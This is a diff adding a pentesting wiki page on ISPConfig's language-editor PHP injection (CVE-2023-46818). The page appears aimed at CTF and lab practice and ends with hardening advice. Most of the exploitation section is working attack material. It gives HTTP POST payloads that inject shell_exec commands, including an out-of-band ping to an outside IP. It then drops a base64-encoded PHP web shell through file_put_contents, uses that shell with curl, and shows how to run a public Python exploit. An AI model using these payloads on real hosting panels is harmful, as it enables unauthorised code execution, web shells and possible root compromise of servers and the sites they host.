|
| 1 | +# ISPConfig |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +ISPConfig is an open-source hosting control panel. Older 3.2.x builds shipped a language file editor feature that, when enabled for the super administrator, allowed arbitrary PHP code injection via a malformed translation record. This can yield RCE in the web server context and, depending on how PHP is executed, privilege escalation. |
| 8 | + |
| 9 | +Key default paths: |
| 10 | +- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx. |
| 11 | +- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed). |
| 12 | + |
| 13 | +Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it: |
| 14 | + |
| 15 | +```bash |
| 16 | +ssh -L 9001:127.0.0.1:8080 user@target |
| 17 | +# then browse http://127.0.0.1:9001 |
| 18 | +``` |
| 19 | + |
| 20 | +## Language editor PHP code injection (CVE-2023-46818) |
| 21 | + |
| 22 | +- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) |
| 23 | +- Preconditions: |
| 24 | + - Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor) |
| 25 | + - Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` |
| 26 | +- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context |
| 27 | + |
| 28 | +References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. |
| 29 | + |
| 30 | +### Manual exploitation flow |
| 31 | + |
| 32 | +1) Open/create a language file to obtain CSRF tokens |
| 33 | + |
| 34 | +Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`. |
| 35 | + |
| 36 | +2) Inject PHP via records[] and save |
| 37 | + |
| 38 | +Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes: |
| 39 | + |
| 40 | +```http |
| 41 | +POST /admin/language_edit.php HTTP/1.1 |
| 42 | +Host: 127.0.0.1:9001 |
| 43 | +Content-Type: application/x-www-form-urlencoded |
| 44 | +Cookie: ispconfig_auth=... |
| 45 | +
|
| 46 | +lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?> |
| 47 | +``` |
| 48 | + |
| 49 | +Out-of-band test (observe ICMP): |
| 50 | + |
| 51 | +```http |
| 52 | +records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?> |
| 53 | +``` |
| 54 | + |
| 55 | +3) Write files and drop a webshell |
| 56 | + |
| 57 | +Use `file_put_contents` to create a file under a web-reachable path (e.g., `admin/`): |
| 58 | + |
| 59 | +```http |
| 60 | +records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?> |
| 61 | +``` |
| 62 | + |
| 63 | +Then write a simple webshell using base64 to avoid bad characters in the POST body: |
| 64 | + |
| 65 | +```http |
| 66 | +records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?> |
| 67 | +``` |
| 68 | + |
| 69 | +Use it: |
| 70 | + |
| 71 | +```bash |
| 72 | +curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' |
| 73 | +``` |
| 74 | + |
| 75 | +If PHP is executed as root (e.g., via `php -S 127.0.0.1:8080` started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user. |
| 76 | + |
| 77 | +### Python PoC |
| 78 | + |
| 79 | +A ready-to-use exploit automates token handling and payload delivery: |
| 80 | +- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) |
| 81 | + |
| 82 | +Example run: |
| 83 | + |
| 84 | +```bash |
| 85 | +python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password> |
| 86 | +``` |
| 87 | + |
| 88 | +### Hardening |
| 89 | + |
| 90 | +- Upgrade to 3.2.11p1 or later |
| 91 | +- Disable the language editor unless strictly needed: |
| 92 | + |
| 93 | +``` |
| 94 | +admin_allow_langedit=no |
| 95 | +``` |
| 96 | + |
| 97 | +- Avoid running the panel as root; configure PHP-FPM or the web server to drop privileges |
| 98 | +- Enforce strong authentication for the built-in `admin` account |
| 99 | + |
| 100 | +## References |
| 101 | + |
| 102 | +- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) |
| 103 | +- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) |
| 104 | +- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) |
| 105 | +- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) |
| 106 | + |
| 107 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments